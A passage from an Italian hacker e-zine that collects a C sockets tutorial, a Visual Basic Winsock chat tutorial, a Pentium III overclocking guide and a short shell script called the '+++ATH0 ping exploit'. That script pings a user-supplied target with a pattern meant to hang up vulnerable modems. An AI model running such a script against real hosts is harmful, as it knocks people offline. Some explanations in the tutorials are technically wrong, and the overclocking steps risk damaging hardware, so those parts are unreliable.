tutto sembrerà più facile. Tutto quello ci cui si ha bisogno è di leggere e fare molta pratica.
Una cosa importante, è che sin_addr e sin_port (dalla struttura sockaddr_in) deve essere Network
Byte Order (si vedranno negli esempi le funzioni qui descritte per convertire e si comincerà
a capire).
5. INDIRIZZI IP
=======================================
In C, ci sono alcune funzioni che aiuteranno a manipolare gli indirizzi IP. Si Parlerà di
funzioni inet_addr() e inet_ntoa().
inet_addr() converte un indirizzo IP in un unsigned long. Ad esempio:
(...)
dest.sin_addr.s_addr = inet_addr("195.65.36.12");
(...)
/* Si ricordi che questo è possibile se si ha una struct dest del tipo sockaddr_in */
inet_ntoa() converte stringhe di indirizzi IP in long. Ad esempio:
(...)
char *IP;
ip = inet_ntoa(dest.sin_addr);
printf("Address is: %s\n", ip);
(...)
Si ricordi che inet_addr() ritorna l'indirizzo in Network Byte Order, per cui non è necessaria la chiamata htonl().
6. FUNZIONI IMPORTANTI
=======================================
In questa sezione si metterà la sintassi della funzione, il file header che si deve includere per chiamarla, e piccoli
commenti. Oltre alle funzioni menzionate in questo documento, ci sono più, ma si è deciso di mettere solo queste. Forse
si metteranno in una versione futura di questo documento. Per vedere degli esempi di queste funzioni, si possono
controllare i codici sorgenti del client stream e del server stream (Sezioni 8 e 9).
6.1. socket()
=============
#include <sys/types.h>
#include <sys/socket.h>
int socket(int domain, int type, int protocol);
Gli argomenti sono i seguenti:
domain -> si può mettere "AF_INET" (mettere AF_INET per usare il protocollo internet ARPA)
o "AF_UNIX" si vogliono creare dei sockets per comunicazione interna.
Questi due sono i più usati, ma ce ne sono altri; in questo documento si menzioneranno
solo questi due.
type -> qui si mette il tipo di socket che si vuole (Stream o Datagram).
Se si vuole un Socket Stream il tipo deve essere SOCK_STREAM.
Se si vuole un Socket Datagram il tipo deve essere SOCK_DGRAM
protocol -> specifica il protocollo di comunicazione per il socket
la funzione socket() ritorna un intero che è il descrittore del socket stesso, che si può utilizzare nelle
chiamate di sistema successive. Ritorna -1 in caso di errore (questo è utilizzato nel controllare gli errori
nelle routine).
6.2. bind()
===========
#include <sys/types.h>
#include <sys/socket.h>
int bind(int fd, struct sockaddr *my_addr, int addrlen);
Gli argomenti sono i seguenti:
fd -> è il descrittore di file del socket, restituito dalla chiamata socket()
my_addr -> è un puntatore a struct sockaddr
addrlen -> è il valore derivato da sizeof(struct sockaddr)
bind() è usato per assegnare un indirizzo IP al socket chiamata (viene utilizzato con la chiamata listen());
serve per poter associare un socket con una porta (sulla macchina dove si è aperto il socket). In caso di
errore ritorna -1.
Si può mettere l'IP automaticamente:
server.sin_port = 0; /* bind() sceglierà una porta a caso */
server.sin_addr.s_addr = INADDR_ANY; /* mette l'IP del server automaticamente */
Un importante aspetto riguardo le porte e la bind() è che tutte le porte prima della 1024 sono riservate.
Si può settare una porta dopo la 1024 fino alla 65535 (ovviamente che non sia utilizzata da un altro programma).
6.3. connect()
==============
#include <sys/types.h>
#include <sys/socket.h>
int connect(int fd, struct sockaddr *serv_addr, int addrlen);
Gli argomenti sono i seguenti:
fd -> è il descrittore di file del socket, restituito dalla chiamata socket()
serv_addr -> è un puntatore alla struct sockaddr che contiene l'indirizzo IP di destinazione e la porta
addrlen -> è il valore derivato da sizeof(struct sockaddr)
connect() è utilizzato per connette su una porta definita di un indirizzo IP. Ritorna -1 in caso di errore.
6.4. listen()
=============
#include <sys/types.h>
#include <sys/socket.h>
int listen(int fd, int backlog);
Gli argomenti sono i seguenti:
fd -> è il descrittore di file del socket, restituito dalla chiamata socket()
backlog -> è il numero di connessioni che si vogliono mantenere
listen() è utilizzato quando si attendono un delle connessioni in arrivo; questo se si vuole
che ci si possa connettere all'host su cui risiede la socket in ascolto. Prima di chiamare listen(),
si deve chiamare bind() o il socket si metterà in ascolto su un numero di porta casuale. Dopo la chiamata
listen() si deve chiamare accept() per accettare connessioni entranti. Riassumendo, la sequenza di chiamate
di sistema è:
1. socket()
2. bind()
3. listen()
4. accept() /* Nella prossima sezione si spiegherà come utilizzare accept() */
Come tutte le chiamate descritte prima, listen() ritorna -1 in caso di errore.
6.5. accept()
=============
#include <sys/socket.h>
int accept(int fd, void *addr, int *addrlen);
Gli argomenti sono i seguenti:
fd -> è il descrittore di file del socket, restituito dalla chiamata listen()
addr -> è un puntatore a struct sockaddr_in dove risiedono le informazioni sull'host
chiamante e sulla porta
addrlen -> è il valore derivato da sizeof(struct sockaddr_in) prima il suo valore è passato alla
chiamata accept()
Quando si cerca di connettersi all'host del socket in ascolto, si deve utilizzare accept() per avere la
connessione. E' molto semplice da capire: si ottiene la connessione se si è accettati.
Successivamente, si avrà un piccolo esempio sull'uso di accept() perché c'è una piccola differenza
dalle altre funzioni.
(...)
sin_size = sizeof(struct sockaddr_in);
if((fd2 = accept(fd, (struct sockaddr *)&client, &sin_size)) == -1)
{ /* viene invocata la chiamata accept() */
printf("accept() error\n");
exit(-1);
}
(...)
D'ora in poi, fd2 sarà usato per aggiungere le chiamate send() e recv().
6.6. send()
===========
int send(int fd, const void *msg, int len, int flags);
Gli argomenti sono i seguenti:
fd -> è il descrittore al socket verso il quale si vogliono spedire dati
msg -> è un puntatore al messaggio che si vuole spedire
len -> è la grandezza (in bytes) del messaggio da spedire
flags -> specifica delle opzioni di spedizione (settarlo a 0)
Questa funzione è usata per spedire dati con socket stream o socket datagram CONNESSA.
Se si vuole spedire dati con un socket datagram NON CONNESSA si deve usare sendto().
send() ritorna il numero di bytes spediti e ritornerà -1 in caso di errore.
6.7. recv()
===========
int recv(int fd, void *buf, int len, unsigned int flags);
Gli argomenti sono i seguenti:
fd -> è il descrittore del socket da cui si vuole ricevere
buf -> è un puntatore al messaggio in arrivo
len -> è la grandezza massima del messaggio
flags -> specifica delle opzini di ricezione (settarlo a 0)
Come si è detto riguardo a send(), questa funzione è usata per ricevere dati con socket stream
o socket datagram CONNESSA. Se si vuole ricevere dati con una socket datagram NON CONNESSA si
deve usare recvfrom().
recv() ritorna il numero di bytes letti e ritornerà -1 in caso di errore.
6.8. sendto()
=============
int sendto(int fd, const void *msg, int len, unsigned int flags,
const struct sockaddr *to, int tolen);
Gli argomenti sono i seguenti:
fd -> stesso di send()
msg -> stesso di send()
len -> stesso di send()
flags -> stesso di send()
to -> è un puntatore a una struct sockaddr
tolen -> è grandezza dell'indirizzo del socket remoto (set it to sizeof(struct sockaddr))
Come si nota, sendto() è come send(). Ha solamente due ulteriori argomenti: "to"
e "tolen".
sendto() è usata con un socket datagram NON CONNESSA e restituisce il numero di byte
spediti. Restituisce -1 in caso di errore.
6.9. recvfrom()
===============
int recvfrom(int fd, void *buf, int len, unsigned int flags,
struct sockaddr *from, int *fromlen);
Gli argomenti sono i seguenti:
fd -> stesso di recv()
buf -> stesso di recv()
len -> stesso di recv()
flags -> stesso di recv()
from -> è un puntatore a una struct sockaddr
fromlen -> è un puntatore a un intero che specifica la grandezza dell'indirizzo del
socket remoto che dovrebbe essere inizializzato a sizeof(struct sockaddr)
recvfrom() restituisce il numero di bytes ricevuti. Restituisce -1 in caso di errore.
6.10. close()
=============
close(fd);
close() è utilizzato per chiudere la connessione sul descrittore del socket. Se si invoca close(),
nessuno sarà più abilitano a scrive o legge sul socket, e se qualcuno cerca di leggere/scrive riceverà un errore
6.11. shutdown()
================
int shutdown(int fd, int how);
Gli argomenti sono i seguenti:
fd -> è il descrittore del socket di cui si vuole sospendere l'attività
how -> per questo argomento ci sono 3 possibilità:
0 -> ricezione disabilitata
1 -> spedizione disabilitata
2 -> spedizione e ricezione disabilitate
Quando how è settato sul valore 2, equivale ad utilizzare la chiamata close().
shutdown() restituisce 0 in caso di successo, -1 in caso di errore.
6.12. gethostname()
===================
#include <unistd.h>
int gethostname(char *hostname, size_t size);
Gli argomenti sono i seguenti:
hostname -> è un puntatore ad un array che contiene il nome dell'host
size -> è la grandezza dell'array del nome dell'host (in bytes)
gethostname() è utilizzato per ottenere il nome del'host locale
7. ALCUNE PAROLE RIGUARDO AL DNS
=======================================
Questa sezione è stata scritta per sapere cos'è un DNS. DNS sta per "Domain Name Service" e fondamentalmente,
è usato per ottenere gli indirizzi IP. Per esempio, bisogna conoscere l'indirizzo IP di queima.ptlink.net
e attraverso il DNS si otterrà 212.13.37.13. Questo è importante, perché le funzioni che abbiamo visto prima
(come bind() e connect()) lavorano con gli indirizzi IP.
Per mostrare come si può ottenere l'indirizzo IP di queima.ptlink.net in C, si ha il seguente esempio:
/* <---- SOURCE CODE STARTS HERE ----> */
#include <stdio.h>
#include <netdb.h> /* Questo è il file header necessario per la funzione gethostbyname() */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[])
{
struct hostent *he;
if(argc != 2)
{
printf("Usage: %s <hostname>\n", argv[0]);
exit(-1);
}
if((he = gethostbyname(argv[1])) == NULL)
{
printf("gethostbyname() error\n");
exit(-1);
}
printf("Hostname : %s\n",he->h_name); /* scrive il nome dell'host */
printf("IP Address: %s\n", inet_ntoa(*((struct in_addr *)he->h_addr))); /* scrive l'indirizzo IP */
}
/* <---- SOURCE CODE ENDS HERE ----> */
8. UN ESEMPIO DI SERVER STREAM
=======================================
In questa sezione, si mostrerà un esempio di server stream. Il codice sorgente è tutto commentato
in modo da togliere ogni dubbio.
/* <---- SOURCE CODE STARTS HERE ----> */
#include <stdio.h> /* qui ci sono i files header usuali */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT 3550 /* porta che verrà aperta */
#define BACKLOG 2 /* numero di connessioni permesse */
main()
{
int fd, fd2; /* descrittori di file */
struct sockaddr_in server; /* informazioni sull'indirizzo del server */
struct sockaddr_in client; /* informazioni sull'indirizzo del client */
int sin_size;
if((fd=socket(AF_INET, SOCK_STREAM, 0)) == -1)
{ /* invoca socket() */
printf("socket() error\n");
exit(-1);
}
server.sin_family = AF_INET;
server.sin_port = htons(PORT); /* si ricordi htons() nella sezione di conversione */
server.sin_addr.s_addr = INADDR_ANY; /* INADDR_ANY mette l'indirizzo IP all'host locale automaticamente */
bzero(&(server.sin_zero), 8); /* zero il resto della struttura */
if(bind(fd,(struct sockaddr*)&server,sizeof(struct sockaddr)) == -1)
{ /* invoca bind() */
printf("bind() error\n");
exit(-1);
}
if(listen(fd,BACKLOG) == -1)
{ /* invoca listen() */
printf("listen() error\n");
exit(-1);
}
while(1)
{
sin_size = sizeof(struct sockaddr_in);
if ((fd2 = accept(fd, (struct sockaddr *)&client, &sin_size)) == -1)
{ /* invoca accept() */
printf("accept() error\n");
exit(-1);
}
printf("You got a connection from %s\n", inet_ntoa(client.sin_addr) ); /* scrive lIP del client */
send(fd2, "Welcome to my server.\n", 22, 0); /* spedisce al client un messaggio di benvenuto */
close(fd2); /* chiude fd2 */
}
}
/* <---- SOURCE CODE ENDS HERE ----> */
9. A STREAM CLIENT EXAMPLE
=======================================
/* <---- SOURCE CODE STARTS HERE ----> */
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h> /* netbd.h è necessario per struct hostent */
#define PORT 3550 /* porta aperta sullìhost remoto */
#define MAXDATASIZE 100 /* grandezza in byte del dato da spedire */
int main(int argc, char *argv[])
{
int fd, numbytes; /* descrittori di file*/
char buf[MAXDATASIZE]; /* array in cui sarà immagazzinato il testo ricevuto */
struct hostent *he; /* struttura da cui si otterranno informazioni riguardo all'host remoto */
struct sockaddr_in server; /* informazioni sull'indirizzo del server */
if(argc != 2) /* questo è utilizzato perché il programma necessita di due argomenti (IP) */
{
printf("Usage: %s <indirizzo IP>\n", argv[0]);
exit(-1);
}
if((he = gethostbyname(argv[1])) == NULL)
{ /* invoca gethostbyname() */
printf("gethostbyname() error\n");
exit(-1);
}
if((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{ /* invoca socket() */
printf("socket() error\n");
exit(-1);
}
server.sin_family = AF_INET;
server.sin_port = htons(PORT); /* si necessita ancora di htons() */
/*he->h_addr passa l'informazione di "*he" a "h_addr" */
server.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(server.sin_zero), 8);
if(connect(fd, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1)
{ /* invoca connect() */
printf("connect() error\n");
exit(-1);
}
if((numbytes = recv(fd, buf, MAXDATASIZE, 0)) == -1)
{ /* invoca recv() */
printf("recv() error\n");
exit(-1);
}
buf[numbytes] = '\0';
printf("Server Message: %s\n", buf); /* questo scrive il messaggio di benvenuto del server */
close(fd); /* chiude fd */
}
/* <---- SOURCE CODE ENDS HERE ----> */
10. UTLIME PAROLE
=======================================
Essendo un semplice essere umano, è quasi certo che ci sono alcuni errori in questo documento. Quando dico errori
intendo errori di Inglese (perché la mia lingua non è l'Inglese) ma anche errori tecnici. Vi prego di scrivermi se
troverete qualche errore.
Ma bisogna capire che questa è la prima versione del documento, così, è naturale che non sia completo (come in pratica
di fatto io penso sia) ed è anche molto naturale fare degli errori stupidi. Comunque, il codice sorgente presente nel
documento e giusto.
Si si necessita aiuto riguardo questo argomento, scrivetemi: <BracaMan@clix.pt>
SPECIAL THANKS TO: Ghost_Rider (my good old mate), Raven (for letting me write this tutorial) and all my friends.
11. COPYRIGHT
=======================================
All copyrights are reserved. You can distribute this tutorial freely, as long you don't change
any name or URL. You can't change a line or two, or add another lines, and then claim that this
tutorial is yours. If you want to change something, please email me at <BracaMan@clix.pt>.
/===========================::=============================::=================/
/ /+++ATH0 ping exploit / ^SiD^ /
/===========================::=============================::=================/
# ] +++ATH0 ping exploit [
# ] by ^SiD^ [
#
#Send ping with pattern +++ATH0 (AT command: hangup modem) and cause
#hungup of modem.
#
# ...::: WARNING! :::...
#Patch your modem: add ATs=255 to init string
#
#Have lot fun :)
#!/bin/sh
clear
echo "...::: +++ATH0 ping exploit :::..."
echo ":::::: script coded by ^SiD^::::::"
echo "::::::::::::::::::::::::::::::::::"
echo " "
echo -n "Insert target ip or hostname: "
read TARGET
echo -n "Insert the number of packet to send: "
read PACKET
echo "OK, exploiting...."
ping -c $PACKET -p 2b2b2b415448300d $TARGET
echo " "
echo "Exploited!"
/===========================::=============================::=================/
/ /Overclokkiamo un p3 da 1ghz / Dibbellas /
/===========================::=============================::=================/
Titolo originale: Overclokkiamo un p3 da 1ghz aggiungendoci 100 mhz in piu' che non
guastano mai
Premessa:
Da i miei esperimenti il massimo di overclock che puo' sopportare un p3 1ghz fpga e' di 100
mhz in piu' (il limite puo' essere superato ma occorre qualkosa di piu' potente che
un semplice raffreddamento ad acqua...)
L'overclock dei processori p3 1000 e alquanto complicato e ci perderete
diverso tempo per trovare la posizione ideale del dissipatore sul processore;
questa guida si dividera' in 2 parti una per chi possiede una mainboard asus
p3c2000 e la seconda per chi possiede mainboard di marche diverse.
Di cosa abbiamo bisogno prima di iniziare?
Pasta siliconica in abbondanza
1 dissipatore a lamelle alte in alluminio della lunghezza di 14 cm circa fascette in nylon
Un adattatore slot1 ------------> fpga
Una lima
2 ventole tachimetriche da 5700 rpm
1 ventola standard
Bene! Nel caso siate fortunati e avete una ventola originale intel (quelle
che si trovan dentro la scatola del processore) saltate tutta questa parte e
overcloccate semplicemente aggiungendo un mare di pasta siliconica.
Se invece come me avete rotto la ventola cercando di montarla e/o non ne
avete una originale seguite il procedimento che sto per esporvi.
Prendiamo il dissipatore da 14 cm e proviamo ad appoggiarlo sul processore (montato
sull' adattatore fpga) noterete che la linguetta dove e' scritto appunto fpga ci
impedira' di poterlo appoggiare del tutto sul processore, cosa che ci da molto fastidio;
qui entra in campo la nostra lima con cui andremo a limare la parte che 'sbatte' sopra
allo zoccoletto (2 cm) diciamo di 4 millimetri, bene ora riproviamo a a posizonare il
dissipatore sull' processore, se sbatte ancora continuiamo a limare se invece il
dissipatore poggia in modo perfetto sul processore possiamo continuare con la procedura.
Bene ora prendiamo il flacone di pasta siliconica e ne distribuiamo in abbondanza sul
processore e sul dissipatore, aiutiamoci a spanderla con una lametta di ferro,
ora posizioniamo sopra il dissipatore.
Osserviamo l'adattatore, ora vi chiederete, come facciamo ad attaccare il dissipatore
se copriamo gli attacchi per la fascetta in metello?? bene entrano qui in campo le
notre fascette in nylon , gli adattatori fpga han nella parte sottostante (quella
che va inserita nello slot1) un piccolo spacco; prendiamo una fascetta e a circa la meta'
tagliamone i bordi in modo da farla diventare piu' stretta in larghezza; questo
punto di fascetta va inserita appunto nello spacco e incastrata nel dissipatore al
posto della fascetta metallica standard ,
bene ora stringiamo molto forte , (magari aiutandoci con un paio di pinze) e chiudiamo.
Facciamo la stessa cosa in lunghezza (facendo passare la fascetta sulla parte lungha
del dissipatore e facendola passare sotto all' adattatore , nella parte posteriore,
proprio dietro al processore mettiamo la ventola standard e ci facciamo passare
soprala fascetta che stavamo per chiudere in lunghezza, chiudiamo stringendo forte (anche
piegando un po' l'adattatore) et voila' ora abbiam un bel blocco : adattatore fpga,
dissipatore e ventola posteriore. Procediamo attaccando nella parte anteriore le due
ventole tachimetriche.
SIAMO ORA PRONTI PER L'OVERCLOCK
Inseriamo il tutto nello slot1 attacchiamo le ventole (possiamo costruirci un
fanbus spieghero' in un secondo momento come fare) e accendiamo il pc ,
se il pc non si avvia niente paura , forse abbiamo tagliato poco la fascetta che
doveva passare per il solco dello slot1 quindi risichiamola ancora un po'e riproviamo,
alla partenza facciamolo girare a 1ghz standard e notiamo che la stabilita' e' nettamente
migliorata non che il raffreddamento: il p3 da 1ghz e' un processore che scalda molto
di solito arriva ai 52 gradi, se non di piu'.
Usando questo sistema ho notato un abbassamento di temperatura fino a 39 c° e a 32 C°
usando asusprobe fan.
Ora che ci siamo divertiti possiamo passare all' overclock spinto.
Entriamo nel bios e impostiamo questi valori come ve li elenco io (impostando la scheda
madre in jumper free mode)
1062 Mhz
Cpu freq 7.5 x
Fsb 142
Vcore 190 (aumentiamo la stabilita' in questo modo)
Salviamo riavviamo e testiamolo a 1065. Questo overclock e' assicurato e stabile e incrementa
le prestazioni del nostro sistema circa del 6% la temperatura in questo caso
non superera' i 40 C°
Se invece vogliamo avvicinarci all' overlock folle (come fa' il sottoscritto)
impostiamo questi settaggi
1095 Mhz
cpu freq 7.5 x
Fsb 146
Vcore 195
In questo caso spingeremo il notro processore a 1095 ghz il che incrementera'
le prestazioni del nostro sistema circa del 8-10 % in questo caso pero' la temperatura
potrebbe arrivare ai 46 C°
Chi invece non possiede una sceda madre asus p3c2000 puo fissare il
megadissipatore infilando le fascette nei 4 buchi che circondano il socket,
fissando la ventola nella parte posteriore della scheda madre e chiudendola con la
solita fascetta in nylon e usando gli stessi settaggi sopra elencati.
By Dibbellas
/===========================::=============================::=================/
/ /Winsock e visual basic / Screener_it /
/===========================::=============================::=================/
Dopo tanti articoli dedicati alle cazzate più immani che potete trovare
in internet mi sono finalmente deciso a scrivere qualcosa di serio..
Oppure da meno lamer, a voi la scelta !!
L'argomento che andrò a trattare è cmq molto leggero e semplice da
comprendere, niente di impegnativo..
/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=
Ok. Partiamo da ciò che ci serve..
1.-) Visual Basic 5 o successivi
2.-) questo testo
Penso che quasi tutto quelli che leggeranno 'sto testo sanno
programmare in Visual Basic più o meno. Oppure sono l'unico che usa
'sto cazzo di linguaggio ? Cmq se non lo sapete imparatelo, è
facilissimo e dà risultati interessanti..
/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=
Come dicevo.. Ormai tutti sanno programmare, qual'è adesso come adesso
lo scoglio più grande per chi programma ? Passare a programmi che
sfruttato le potenzialità della rete. Infatti raramente negli help
troverete voci tipo "Internet" o altro di facilmente collegabile alla
programmazione di "rete". E al massimo quello che si trova è difficile
da capire e ci sono degli esempi che servono a poco o a niente.
Invece è tutto molto semplice (per lo meno le basi) ed io sono riuscito
a capire le basi in meno di un'ora grazie alle spiegazioni che
ho trovato.
Allora.. In Visual Basic per fare programmi che sfruttano le
potenzialità della rete (chat, finger, demoni, ecc..) abbiamo bisogno
di un oggetto un po' particolare.. Il Winsock.
E dove si trova il Winsock ? Aprite il vostro Visual Basic e andate nel
menù progetto e selezionate componenti.
Adesso scorrete l'elenco degli oggetti fino a trovare Microsoft Winsock
Control 5.0 (o versioni successivi.. Fate un po' voi !!).
Mettete il segno di spunta lì vicino e cliccate Ok.
Adesso nella barra degli strumenti sarà apparita un icona con due
computer. Andategli sopra con il mouse e apparirà la magica scritta..
"Winsock". E adesso ?
Adesso bisogna inserirla nella form, no ? Selezionatela, posizionatevi
nella form e inseritela.
Ecco, adesso siete pronti per cominciare a programmare in rete.
Ok, adesso devo aprire una piccola parentesi.. Il Winsock supporta i
due principali protocolli della rete, cioè il TCP e l' UDP.
Bhè, non sto qui a spiegarvi l'esatta differenza millesimale tra i due,
dato che questo non è luogo e capirne la differenza non è essenziale.
Sappiate solo che i due protocolli sono diversi (se volete informarvi
cercate qualche testo su tutte le ezine che ci sono in rete..) e che
per i nostri scopi useremo principalmente il TCP.
Mh.. Onestamente con il winsock la teoria serve ben a poco e quindi
passeremo subito alla pratica così vi spieghero' passo a passo..
La prima cosa, la più elementare ? Un programma di chat tra due
persone.. Per poi potersene vantarsene con gli amici.
________________________________________________
___________ ________ |
COLLEGATI A: |IP_________| |CONNETTI|__ |
SULLA PORTA: |PORTA______| |DISCONNETTI| |
|ASCOLTA_| |
___________ |
STATO DELLA CONNESSIONE: |STATO______| |
______________________________ |
| | |
|CHAT | |
| | |
| | |
| | |
|______________________________| |
________________ _____ |
|TESTO___________| |INVIA| |
|
________________________________________________|
Questo è il disegnino della chat, ora però devo dirmi i nomi altrimenti
il codice che vi dò non vi và. Vi dò solo i nomi importanti, alcune
label come Collegati a, Porta, ecc.. sono ininfluenti.
Ip = txtip
porta = txtporta
Connetti = cmdconnetti
Disconnetti = cmddisconnetti
Ascolta = cmdascolta
stato = lblstato
chat = txtchat
testo = txttesto
invia = cmdinvia
Ricordatevi di impostare txtchat su multiline = true e scrollbars =
2-Vertical, magari anche locked = True..
Logicamente metteteci anche il controllo winsock e dategli come
name TCP1
Ok, adesso vi passo il codice..
Private Sub cmdascolta_Click()
lblstato.Caption = "IN ASCOLTO"
TCP1.LocalPort = Val(txtporta)
TCP1.Listen
End Sub
Private Sub cmdconnetti_Click()
If (TCP1.State <> sckClosed) Then TCP1.Close
TCP1.LocalPort = 0
TCP1.Connect txtip, Val(txtporta)
End Sub
Private Sub cmdinvia_Click()
a$ = txttesto
txtchat = "Inviato:" & a$ & vbCrLf & txtchat
TCP1.SendData a$
End Sub
Private Sub cmdisconnetti_Click()
lblstato.Caption = "INATTIVO"
TCP1.Close
End Sub
Private Sub TCP1_Close()
lblstato.Caption = "INATTIVO"
TCP1.Close
End Sub
Private Sub TCP1_Connect()
lblstato.Caption = "ATTIVO"
txtip = TCP1.RemoteHost
End Sub
Private Sub TCP1_ConnectionRequest(ByVal requestID As Long)
If (TCP1.State <> sckClosed) Then TCP1.Close
TCP1.LocalPort = 0
TCP1.Accept requestID
lblstato.Caption = "ATTIVO"
txtip = TCP1.RemoteHostIP
End Sub
Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
On Error Resume Next
TCP1.GetData Data
txtchat = "Ricevuto:" & Data & vbCrLf & txtchat
End Sub
Ecco qui.. 32 righe in tutto !! Per un chat (seppur molto basilare)
sono poche.. Per il funzionamento: i computer devono essere due. Uno
dei due mette un numero qualsiasi nella txt della porta e poi
clicca "Ascolta".
L'altro inserisce nella casella txtip l'ip del computer in ascolto e la
porta su cui è in ascolto e clicca Connetti
Però sarà meglio che ve le spiego, vero ? Allora..
====================================================================
Private Sub cmdascolta_Click()
lblstato.Caption = "IN ASCOLTO"
TCP1.LocalPort = Val(txtporta)
TCP1.Listen
End Sub
Cliccando sul tasto "Ascolta" cambia la caption di lblstato. Ma questo
lo vedete da soli.
In più cliccando su "Ascolta" il winsock tramite il protocollo TCP
prende la porta che gli avete indicato in txt porta e poi si pone in
ascolto su quella.
TCP1.LocalPort = Val(txtporta) 'sceglie la porta
TCP1.Listen 'si pone in ascolto
====================================================================
Private Sub cmdconnetti_Click()
If (TCP1.State <> sckClosed) Then TCP1.Close
TCP1.LocalPort = 0
TCP1.Connect txtip, Val(txtporta)
End Sub
Clicchiamo su Connetti.. Prima controlla che lo stato di TCP1 non si
chiuso e poi imposta la porta locale a zero. Infine si collega all'ip
che gli avete indicato in txtip sulla porta che gli avete indicato
su txtporta
TCP1.Connect txtip [IP CHE GLI AVETE DATO], Val(txtporta) [PORTA CHE
GLI AVETE DATO]
====================================================================
Private Sub cmdinvia_Click()
a$ = txttesto
txtchat = "Inviato:" & a$ & vbCrLf & txtchat
TCP1.SendData a$
End Sub
Mh..Qui analizziamo uno dei comandi più importanti del
winsock.. SendData
Per chi sa l'inglese la comprensione è semplicissima !! SendData =
spedisci dati.
Tramite questo comando (sintassi: NOMEWINSOCK.SendaData
OGGETTODASPEDIRE ) spediamo al computer
con il quale siamo connessi una stringa di caratteri..
In questo caso spediamo la variabile a$ a cui attribuiamo il testo
contenuto nella casella txttesto.
[ txtchat = "Inviato:" & a$ & vbCrLf & txtchat ] invece indica nella
casella txtchat deve apparire il contenuto della variabile a$ preceduta
dalla scritta "Inviato:" (così vediamo quello che abbiamo scritto noi e
quello che abbiamo ricevuto) e seguita dal precedente contenuto
di txtchat.
vbCrLf per chi non lo sapesse è uguale a Invio.
====================================================================
Private Sub cmdisconnetti_Click()
lblstato.Caption = "INATTIVO"
TCP1.Close
End Sub
C'è da poco spiegare.. Chiude la connessione tramite il comando close.
L'altra riga cambia solo il contenuto della casella che indica lo stato
della connessione.
====================================================================
Private Sub TCP1_Connect()
lblstato.Caption = "ATTIVO"
txtip = TCP1.RemoteHost
End Sub
Mh.. Quando la connessione è avvenuta (TCP1_Connect) nella casella
txtip appare l'ip del computer remoto.
====================================================================
Private Sub TCP1_ConnectionRequest(ByVal requestID As Long)
If (TCP1.State <> sckClosed) Then TCP1.Close
TCP1.LocalPort = 0
TCP1.Accept requestID
lblstato.Caption = "ATTIVO"
txtip = TCP1.RemoteHostIP
End Sub
Già qui è la cosa è più interessante.. Allora..
Quando c'è una richiesta di connessione (TCP1_ConnectionRequest) il
computer si comporta così:
La prima riga serve a dire che appena la connessione dell'altro
computer si chiude (TCP1.State <> sckClosed) allora la nostra
connessione a lui si interrompe.
La seconda riga setta la porta locale a 0.
La terza riga dice di accettare la connessione, la terza cambia lo
stato della label (inutile ai fini della connessione, serve solo a noi
per vedere meglio se la connessione è attiva o meno) e dice che la
casella txtip deve assumere come valore l'indirizzo Ip del pc remoto..
====================================================================
Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
On Error Resume Next
TCP1.GetData Data
txtchat = "Ricevuto:" & Data & vbCrLf & txtchat
End Sub
Questa è la procedura che il programma segue in caso di arrivo di
dati (TCP1_DataArrival).
Dim Data as String definisce i dati che arrivano (che per comodità ho
chiamato data) come stringhe alfanumeriche.
On Error Resume Next vuole dire che in caso di errore di trasmissione i
dati vengono spediti di nuovo.
TCP1.GetData Data dice che i dati ricevuti ( GetData ) dalla
connessione prendono il nome di data.
txtchat = "Ricevuto:" & Data & vbCrLf & txtchat Con questa riga di
comando i dati ricevuti vengono scritti nella casella txtchat preceduti
da Ricevuto: e seguiti dal testo già presente nella chat.. E con questo
ho finito.
====================================================================
Riepilogo delle principali funzioni di Winsock:
1.- Private Sub TCP1_DataArrival(ByVal bytesTotal As Long)
Indica al programma come comportarsi in caso di arrivo dati.
2.- GetData
Funzione del Winsock che indica al programma di prendere i dati e
dargli un nome a scelta.
SINTASSI: nomeconnessione.GetData nomedeidati
3.- SendData
Funzione del Winsock che indica al programma di spedire i dati.
SINTASSI: nomeconnessione.SendData nomeoggettodaspedire
4.- Listen
Funzione del Winsock che dice al programma di mettersi in ascolto.
SINTASSI: nomeconnessione.Listen
IMPORTANTE: deve essere preceduto da LocalPort per impostare su quale
porta il programma deve mettersi in ascolto
5.- LocalPort
Funzione del Winsock che imposta la porta.
SINTASSI: nomeconnessione.LocalPort = numeroporta
6.- Connect
Funzione del Winsock molto importante. Tramite questa inizia
il collegamento.
SINTASSI: nomeconnessione.Connect ipacuicollegarsi, portaacuicollegarsi
7.- Private Sub TCP1_Connect()
Indica al programma come comportarsi una volta avvenuta la connessione
8.- Private Sub TCP1_Close()
Indica al programma come comportarsi una volta chiusa la connessione
9.- Close
Indica al programma di chiudere la connessione
SINTASSI: nomeconnessione.Close
10.- TCP1.Accept requestID
Indica al programma di accettare la connessione e l'ID che ci
viene assegnato.
11.- State
Indica lo stato di connessione del programma, utile negli if. Esempio:
se lo stato della connessione è sconnesso allora fai x.
SINTASSI: nomeconnessione.State valorecheassume
Valore che può assumere State:
sckClosed Impostazione predefinita. Chiuso
sckOpen Aperto
sckListening In attesa
sckConnectionPending Connessione in sospeso
sckResolvingHost Risoluzione dell'host in corso
sckHostResolved Host risolto
sckConnecting Connessione in corso
sckConnected Connesso
sckClosing Il client sta chiudendo la connessione
sckError Errore
====================================================================
Questo gente !! Almeno per adesso. La prossima lezione vedremo come
creare qualche altra applicazione con il Winsock.
Screener_it
screener_it@freemail.it
P.s. Per chi non avesse capito bene come funziona la chat ho allegato i
sorgenti nel file zip winsock_e_VB.zip scritti in Vb 5..
/===========================::=============================::=================/
/ /CyberDelirio / Ghent /
/===========================::=============================::=================/
-= cyberDelirio =-
[x Dirty Net 7 - Ago 2001]
"Io ho visto cose che voi umani non potrete immaginare"... ha iniziato Roy Batty
sotto la pioggia piu' amata della fantascienza, facendo riflettere tutti coloro che
hanno capito che Blade Runner è molto piu' che una cagatella nel quale un poliziotto
